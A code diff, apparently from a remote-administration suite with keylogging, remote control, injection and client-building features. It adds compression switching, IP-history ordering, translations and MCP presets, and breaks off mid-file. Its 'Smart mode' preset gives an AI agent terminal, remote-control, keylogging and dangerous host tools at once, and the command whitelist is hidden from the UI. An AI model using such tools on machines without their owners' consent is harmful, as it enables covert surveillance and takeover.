static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
|
||||
// 本地是否已启用自有 FRP(UseFrp + 主控地址;仅 64 位主控)
|
||||
static bool IsLocalFrpEnabled();
|
||||
void StartFrpcAuto(const FrpAutoConfig& cfg);
|
||||
void StopFrpcAuto();
|
||||
void InitFrpcAuto(); // 启动时自动恢复
|
||||
@@ -597,6 +601,10 @@ public:
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnExperimentTlsEnable();
|
||||
afx_msg void OnExperimentTlsDisable();
|
||||
// 线缆压缩切换(实验功能子菜单):写客户端配置并触发立即重连(zstd / zlib)
|
||||
afx_msg void OnExperimentCompressZstd();
|
||||
afx_msg void OnExperimentCompressZlib();
|
||||
VOID SwitchSelectedCompression(const char* mode);
|
||||
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS
|
||||
afx_msg void OnProtoSwitchTcp();
|
||||
afx_msg void OnProtoSwitchWs();
|
||||
|
||||
@@ -107,6 +107,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -142,6 +143,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -177,6 +179,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -214,6 +217,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -239,6 +243,7 @@
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="server_exports.def" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
|
||||
@@ -906,6 +906,16 @@ void CLicenseDlg::OnLicenseViewIPs()
|
||||
start = end + 1;
|
||||
}
|
||||
|
||||
// 按最后活跃时间倒序展示(新的在前);无时间戳/无法解析的记录排在最后。
|
||||
// 存储侧已保证最近上报的条目在前,这里再做一次稳定排序,兼容旧版本写下的
|
||||
// "首次出现倒序" 数据,打开对话框即可看到正确的顺序。
|
||||
std::stable_sort(records.begin(), records.end(),
|
||||
[](const IPRecord& a, const IPRecord& b) {
|
||||
int da = (a.daysAgo < 0) ? 0x7FFFFFFF : a.daysAgo;
|
||||
int db = (b.daysAgo < 0) ? 0x7FFFFFFF : b.daysAgo;
|
||||
return da < db;
|
||||
});
|
||||
|
||||
// 如果有记录被删除,保存更新后的 IP 列表
|
||||
if (removedCount > 0) {
|
||||
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||
|
||||
@@ -251,6 +251,11 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
|
||||
|
||||
// IP 列表管理常量
|
||||
#define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
|
||||
// 单个 IP 值总字节数上限。Win32 profile API 对单个值有约 64KB 的硬限制:
|
||||
// 值超过后 GetPrivateProfileStringA 只返回被截断的尾部,而
|
||||
// WritePrivateProfileStringA 会把整行再追加一遍(实测 66KB 的值读回 464 字节、
|
||||
// 文件膨胀到两倍),之后的读改写会永久写坏历史。留出余量按 60KB 控制。
|
||||
#define MAX_IP_LIST_BYTES 60000
|
||||
|
||||
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
|
||||
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
|
||||
@@ -306,7 +311,8 @@ static std::string SerializeIPList(const std::vector<std::pair<std::string, std:
|
||||
return result;
|
||||
}
|
||||
|
||||
// 更新 IP 列表:添加新 IP 或更新已有 IP 的时间戳
|
||||
// 更新 IP 列表:添加新 IP 或刷新已有 IP 的时间戳,并按最后活跃时间倒序排列
|
||||
// (最近上报的条目始终在最前,查看 IP 历史时即为倒序)。
|
||||
// 格式: IP(机器名)|时间戳,例如 "1.2.3.4(PC01)|260219" (yyMMdd 格式)
|
||||
// 返回更新后的 IP 列表字符串
|
||||
static std::string UpdateIPList(const std::string& existingIPList, const std::string& newIP, const std::string& machineName = "")
|
||||
@@ -341,11 +347,12 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
|
||||
};
|
||||
|
||||
// 查找是否已存在该 IP(只比较 IP 部分,兼容旧格式)
|
||||
// 命中的条目连同新时间戳移到列表开头:列表顺序 = 最后活跃时间倒序
|
||||
bool found = false;
|
||||
for (auto& entry : ipList) {
|
||||
if (extractIP(entry.first) == newIP) {
|
||||
entry.first = ipKey; // 更新为新格式(带机器名)
|
||||
entry.second = timestamp; // 更新时间戳
|
||||
for (auto it = ipList.begin(); it != ipList.end(); ++it) {
|
||||
if (extractIP(it->first) == newIP) {
|
||||
ipList.erase(it);
|
||||
ipList.insert(ipList.begin(), { ipKey, timestamp });
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
@@ -354,11 +361,27 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
|
||||
if (!found) {
|
||||
// 新 IP,添加到开头(最近的在前)
|
||||
ipList.insert(ipList.begin(), { ipKey, timestamp });
|
||||
}
|
||||
|
||||
// 限制数量
|
||||
if (ipList.size() > MAX_IP_HISTORY) {
|
||||
ipList.resize(MAX_IP_HISTORY);
|
||||
}
|
||||
// 限制数量:达到上限时淘汰尾部(最久未活跃)的记录,保证新记录始终写得进去
|
||||
if (ipList.size() > MAX_IP_HISTORY) {
|
||||
ipList.resize(MAX_IP_HISTORY);
|
||||
}
|
||||
|
||||
// 限制字节数:尾部(最久未活跃)继续淘汰,避免单个值越过 INI 的 64KB 上限后
|
||||
// 读写整体失效(见 MAX_IP_LIST_BYTES 注释)。机器名很长时条数没到上限也会触发。
|
||||
size_t totalBytes = 0;
|
||||
for (size_t i = 0; i < ipList.size(); ++i) {
|
||||
totalBytes += ipList[i].first.size();
|
||||
if (!ipList[i].second.empty()) totalBytes += 1 + ipList[i].second.size();
|
||||
if (i > 0) totalBytes += 2; // ", " 分隔符
|
||||
}
|
||||
while (ipList.size() > 1 && totalBytes > MAX_IP_LIST_BYTES) {
|
||||
const auto& last = ipList.back();
|
||||
totalBytes -= last.first.size();
|
||||
if (!last.second.empty()) totalBytes -= 1 + last.second.size();
|
||||
totalBytes -= 2; // 去掉它前面的 ", "
|
||||
ipList.pop_back();
|
||||
}
|
||||
|
||||
return SerializeIPList(ipList);
|
||||
|
||||
@@ -1410,8 +1410,10 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
||||
break;
|
||||
}
|
||||
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
|
||||
// zlib 用 compressBound:1.001n+12 对小于约 1KB 的包会比 compressBound 少
|
||||
// 1 字节,compress() 返回 Z_BUF_ERROR,小包(心跳 ACK、控制命令)被静默丢弃。
|
||||
unsigned long ulCompressedLength = usingZstd ?
|
||||
ZSTD_compressBound(ulOriginalLength) : (unsigned long)((double)ulOriginalLength * 1.001 + 12);
|
||||
ZSTD_compressBound(ulOriginalLength) : compressBound(ulOriginalLength);
|
||||
// 使用预分配缓冲区替代每次 new
|
||||
LPBYTE CompressedBuffer = ContextObject->GetSendCompressBuffer(ulCompressedLength);
|
||||
Buffer tmp(szBuffer, ulOriginalLength);
|
||||
|
||||
@@ -100,6 +100,8 @@ BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_MCP_HTTPS, &CMcpSettingsDlg::OnHttpsToggle)
|
||||
ON_BN_CLICKED(IDC_MCP_CERT_BROWSE, &CMcpSettingsDlg::OnBrowseCert)
|
||||
ON_BN_CLICKED(IDC_MCP_KEY_BROWSE, &CMcpSettingsDlg::OnBrowseKey)
|
||||
ON_BN_CLICKED(IDC_MCP_PRESET_READONLY, &CMcpSettingsDlg::OnPresetReadonly)
|
||||
ON_BN_CLICKED(IDC_MCP_PRESET_SMART, &CMcpSettingsDlg::OnPresetSmart)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
|
||||
@@ -129,6 +131,13 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnEnable.Create(_TR("启用 MCP"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_ENABLE);
|
||||
// 与「启用 MCP」同一行、紧随其后的两个一键预设按钮。
|
||||
m_btnPresetReadonly.Create(_TR("只读模式"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||
r0, this, IDC_MCP_PRESET_READONLY);
|
||||
m_btnPresetSmart.Create(_TR("智能模式"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||
r0, this, IDC_MCP_PRESET_SMART);
|
||||
m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
|
||||
r0, this, IDC_MCP_PORT);
|
||||
@@ -184,8 +193,10 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnBuild.Create(_TR("启用客户端生成(AI 生成客户端文件,要求只读关)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_BUILD);
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||
// 命令白名单:保留原有读取/规范化/回存逻辑,仅不在 UI 上显示——
|
||||
// 该输入对普通用户过于专业、容易误解。(隐藏控件仍承载配置值)
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_BORDER | WS_TABSTOP |
|
||||
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
||||
r0, this, IDC_MCP_WHITELIST);
|
||||
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
|
||||
@@ -197,6 +208,8 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
|
||||
if (hFont) {
|
||||
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnPresetReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnPresetSmart.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
@@ -299,6 +312,45 @@ void CMcpSettingsDlg::OnHttpsToggle()
|
||||
UpdateHttpsState();
|
||||
}
|
||||
|
||||
// 「只读模式」预设:一键切到只读安全的工具组合。
|
||||
// 顺带打开「启用 MCP」(未开则开),勾选「只读模式(禁命令执行)」,
|
||||
// 并关闭其余所有工具开关——与「智能模式」互相切换后状态才一致。
|
||||
// (此前漏关 fileTransfer/machine/chat/keylog,Smart→ReadOnly 会残留勾选。)
|
||||
void CMcpSettingsDlg::OnPresetReadonly()
|
||||
{
|
||||
m_btnEnable.SetCheck(BST_CHECKED);
|
||||
m_btnReadonly.SetCheck(BST_CHECKED);
|
||||
m_btnTerminal.SetCheck(BST_UNCHECKED);
|
||||
m_btnRemoteControl.SetCheck(BST_UNCHECKED);
|
||||
m_btnFileTransfer.SetCheck(BST_UNCHECKED);
|
||||
m_btnFileWrite.SetCheck(BST_UNCHECKED);
|
||||
m_btnManage.SetCheck(BST_UNCHECKED);
|
||||
m_btnMachine.SetCheck(BST_UNCHECKED);
|
||||
m_btnMachineDangerous.SetCheck(BST_UNCHECKED);
|
||||
m_btnChat.SetCheck(BST_UNCHECKED);
|
||||
m_btnKeylog.SetCheck(BST_UNCHECKED);
|
||||
m_btnBuild.SetCheck(BST_UNCHECKED);
|
||||
}
|
||||
|
||||
// 「智能模式」预设:一键启用全部 MCP 工具。
|
||||
// 顺带打开「启用 MCP」(未开则开);只读模式会禁用命令执行等开关,故一并关闭;
|
||||
// 主机管理与危险主机操作成对打开,否则保存时 OnOK 会因「危险操作依附于主机管理」而回退。
|
||||
void CMcpSettingsDlg::OnPresetSmart()
|
||||
{
|
||||
m_btnEnable.SetCheck(BST_CHECKED);
|
||||
m_btnReadonly.SetCheck(BST_UNCHECKED);
|
||||
m_btnTerminal.SetCheck(BST_CHECKED);
|
||||
m_btnRemoteControl.SetCheck(BST_CHECKED);
|
||||
m_btnFileTransfer.SetCheck(BST_CHECKED);
|
||||
m_btnFileWrite.SetCheck(BST_CHECKED);
|
||||
m_btnManage.SetCheck(BST_CHECKED);
|
||||
m_btnMachine.SetCheck(BST_CHECKED);
|
||||
m_btnMachineDangerous.SetCheck(BST_CHECKED);
|
||||
m_btnChat.SetCheck(BST_CHECKED);
|
||||
m_btnKeylog.SetCheck(BST_CHECKED);
|
||||
m_btnBuild.SetCheck(BST_CHECKED);
|
||||
}
|
||||
|
||||
void CMcpSettingsDlg::OnBrowseCert()
|
||||
{
|
||||
CString cur;
|
||||
@@ -442,7 +494,31 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
const int btnH = 26;
|
||||
|
||||
int y = margin;
|
||||
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
// 「启用 MCP」与其后的两个预设按钮同处一行:只读模式 / 智能模式。
|
||||
// 预设按钮宽度按当前语言的按钮文本自适应,避免英文/德文译文被裁切。
|
||||
CString presetText1, presetText2;
|
||||
m_btnPresetReadonly.GetWindowText(presetText1);
|
||||
m_btnPresetSmart.GetWindowText(presetText2);
|
||||
int presetTextW = 0;
|
||||
{
|
||||
CClientDC dc(this);
|
||||
CFont* pFont = GetFont();
|
||||
CFont* pOld = pFont ? dc.SelectObject(pFont) : nullptr;
|
||||
int w1 = dc.GetTextExtent(presetText1).cx;
|
||||
int w2 = dc.GetTextExtent(presetText2).cx;
|
||||
presetTextW = (w1 > w2) ? w1 : w2;
|
||||
if (pOld) dc.SelectObject(pOld);
|
||||
}
|
||||
const int presetBtnW = presetTextW + 24; // 左右内边距
|
||||
const int presetBtnH = 22;
|
||||
const int presetGap = 8;
|
||||
int smartX = cx - margin - presetBtnW;
|
||||
int readonlyX = smartX - presetGap - presetBtnW;
|
||||
int enableW = readonlyX - presetGap - margin;
|
||||
if (enableW < 90) enableW = 90;
|
||||
m_btnEnable.MoveWindow(margin, y, enableW, 22);
|
||||
m_btnPresetReadonly.MoveWindow(readonlyX, y, presetBtnW, presetBtnH);
|
||||
m_btnPresetSmart.MoveWindow(smartX, y, presetBtnW, presetBtnH);
|
||||
y += 30;
|
||||
|
||||
m_lblPort.MoveWindow(margin, y, labelW, rowH);
|
||||
@@ -506,12 +582,8 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
m_btnBuild.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
const int whitelistH = 90;
|
||||
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
||||
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
||||
y += whitelistH + gap;
|
||||
|
||||
// 确定 / 取消按钮紧跟白名单下方,不再锚定到底部,避免白名单与按钮之间出现大段空白。
|
||||
// 命令白名单控件已隐藏,不占布局空间(逻辑保留,见 OnInitDialog / OnOK)。
|
||||
// 确定 / 取消按钮紧跟最后一个开关下方,不再锚定到底部,避免出现大段空白。
|
||||
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
|
||||
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
|
||||
y += btnH + margin;
|
||||
|
||||
@@ -21,6 +21,8 @@ protected:
|
||||
afx_msg void OnHttpsToggle();
|
||||
afx_msg void OnBrowseCert();
|
||||
afx_msg void OnBrowseKey();
|
||||
afx_msg void OnPresetReadonly(); // 「只读模式」预设:勾选只读并关闭依赖只读关闭的开关
|
||||
afx_msg void OnPresetSmart(); // 「智能模式」预设:启用全部工具并关闭只读
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
@@ -47,9 +49,12 @@ private:
|
||||
IDC_MCP_KEY_BROWSE = 1019, // 私钥路径「浏览」按钮
|
||||
IDC_MCP_FILEWRITE = 1020, // 「启用文件写入」复选框(删除/改名/建目录,要求只读关)
|
||||
IDC_MCP_BUILD = 1021, // 「启用客户端生成」复选框(build_client,要求只读关)
|
||||
IDC_MCP_PRESET_READONLY = 1022, // 「只读模式」预设按钮
|
||||
IDC_MCP_PRESET_SMART = 1023, // 「智能模式」预设按钮
|
||||
};
|
||||
|
||||
CButton m_btnEnable;
|
||||
CButton m_btnPresetReadonly, m_btnPresetSmart; // 「启用 MCP」右侧的一键预设
|
||||
CStatic m_lblPort, m_lblBind, m_lblToken;
|
||||
CEdit m_editPort, m_editBind, m_editToken;
|
||||
CButton m_btnReadonly;
|
||||
|
||||
@@ -741,6 +741,10 @@ public:
|
||||
{
|
||||
return Parser.m_nFlagType;
|
||||
}
|
||||
virtual int GetCompressMethod() const override
|
||||
{
|
||||
return CompressMethod;
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
|
||||
{
|
||||
|
||||
@@ -130,11 +130,14 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = savedMaster.empty() ? localPublicIP.c_str() : savedMaster.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
} else if (!frpAutoServer.empty()) {
|
||||
} else if (!frpAutoServer.empty() && !(frpEnabled && !savedMaster.empty())) {
|
||||
// 场景 2: 上级配置了 FRP
|
||||
// 本地已启用自有 FRP(UseFrp + 已配置主控地址)时不走这里:
|
||||
// 此时主控地址以本地 FRP 为准,与 GetEffectiveMasterAddress 的规则一致。
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = frpAutoServer.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT,
|
||||
_TR("该地址由上级自动 FRP 提供(端口由上级分配),无需修改"));
|
||||
} else if (frpEnabled) {
|
||||
// 场景 3: 启用了本地 FRP(FRP服务器应有公网IP)
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
|
||||
@@ -46,7 +46,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.4.3"
|
||||
#define BRAND_VERSION "1.4.4"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -41,6 +41,7 @@ public:
|
||||
virtual std::string GetProtocol() const = 0;
|
||||
virtual int GetServerPort() const = 0;
|
||||
virtual FlagType GetFlagType() const = 0;
|
||||
virtual int GetCompressMethod() const = 0; // COMPRESS_ZSTD / COMPRESS_ZLIB / COMPRESS_NONE
|
||||
virtual std::string GetGroupName() const = 0;
|
||||
virtual uint64_t GetAliveTime()const = 0;
|
||||
virtual void SetLastHeartbeat(uint64_t time) = 0;
|
||||
@@ -199,6 +200,14 @@ public:
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持远程切换线缆压缩(COMMAND_SET_COMPRESS,zstd / zlib)。
|
||||
// 只有声明 CLIENT_CAP_COMPRESS_SWITCH 的 Windows 客户端认识。
|
||||
bool SupportsCompressSwitch() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_COMPRESS_SWITCH) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持收到 COMMAND_UPDATE 下发的 APK 后拉起系统安装器。
|
||||
// 只有新版 Android 客户端声明;老 APK 收到命令会走 default 静默丢弃,
|
||||
// 服务端据此提示「先手动装一次新版」。
|
||||
|
||||
@@ -98,6 +98,7 @@ RTT=RTT
|
||||
生成服务端=Server erstellen
|
||||
即时消息=Nachricht
|
||||
虚拟屏幕=Virtueller Bildschirm
|
||||
实验功能=Experimentelle Funktionen
|
||||
隐私屏幕=Datenschutz-Bildschirm
|
||||
代理服务=Proxy-Dienst
|
||||
注入设置=Injektionskonfiguration
|
||||
@@ -2172,6 +2173,9 @@ TLS
|
||||
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
|
||||
TLS传输=TLS-Transport
|
||||
取消TLS=TLS deaktivieren
|
||||
线缆压缩:ZSTD=Leitungskompression: ZSTD
|
||||
线缆压缩:ZLIB=Leitungskompression: ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Ausgewaehlte Hosts unterstuetzen das Umschalten der Leitungskompression nicht (ein neuerer Windows-Client ist erforderlich)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts aktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren?\n(Clients wirken sofort und verbinden sich neu; laufende Sitzungen werden unterbrochen)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
|
||||
@@ -2261,3 +2265,12 @@ APK
|
||||
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=Der Reparaturbefehl wurde in die Zwischenablage kopiert.\n\nDruecken Sie Win+X, oeffnen Sie Terminal (Administrator), fuegen Sie den Befehl ein und starten Sie das Programm danach neu.
|
||||
已复制=Kopiert
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=Dieser Android-Host hat kein Root, daher ist die Prozessliste nicht verfuegbar.\n\nAb Android 7 ist /proc durch hidepid/SELinux eingeschraenkt; eine normale App kann keine anderen Prozesse auflisten.
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=Nur-Lese-Modus
|
||||
智能模式=Intelligenter Modus
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy aktiviert (Remote-Port %d); lokales FRP ist aktiv, Master-Adresse unveraendert
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Vorgelagerter FRP-Reverse-Proxy gewechselt (Remote-Port %d -> %d); lokales FRP ist aktiv, Master-Adresse unveraendert
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Vom FRP des vorgelagerten Servers (Port dort vergeben); keine Aenderung noetig
|
||||
@@ -2187,6 +2187,9 @@ TLS
|
||||
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
|
||||
TLS传输=TLS Transport
|
||||
取消TLS=Disable TLS
|
||||
线缆压缩:ZSTD=Wire compression: ZSTD
|
||||
线缆压缩:ZLIB=Wire compression: ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Some selected hosts do not support switching wire compression (a newer Windows client is required)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Enable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Disable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
|
||||
@@ -2273,3 +2276,12 @@ APK
|
||||
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=The fix command has been copied to the clipboard.\n\nPress Win+X to open Terminal (Admin), paste and run it, then restart this program.
|
||||
已复制=Copied
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=This Android host is not rooted, so the process list is unavailable.\n\nAndroid 7+ restricts /proc with hidepid/SELinux, so a normal app cannot enumerate other processes.
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=Read-only mode
|
||||
智能模式=Smart mode
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy enabled (remote port %d); local FRP is enabled, master address unchanged
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d); local FRP is enabled, master address unchanged
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Provided by the upstream FRP (port assigned there); no change needed
|
||||
@@ -2180,6 +2180,9 @@ TLS
|
||||
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=憑證/私鑰載入失敗,加密功能未生效。請檢查檔案路徑與格式(憑證 PEM、私鑰 PKCS#8)。
|
||||
TLS传输=TLS 傳輸
|
||||
取消TLS=停用 TLS
|
||||
线缆压缩:ZSTD=線纜壓縮:ZSTD
|
||||
线缆压缩:ZLIB=線纜壓縮:ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=選取的主機中有用戶端版本不支援線纜壓縮切換(需要新版 Windows 用戶端)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定對選取主機啟用 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定取消選取主機的 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證,無法切換用戶端 TLS 傳輸
|
||||
@@ -2266,3 +2269,12 @@ APK
|
||||
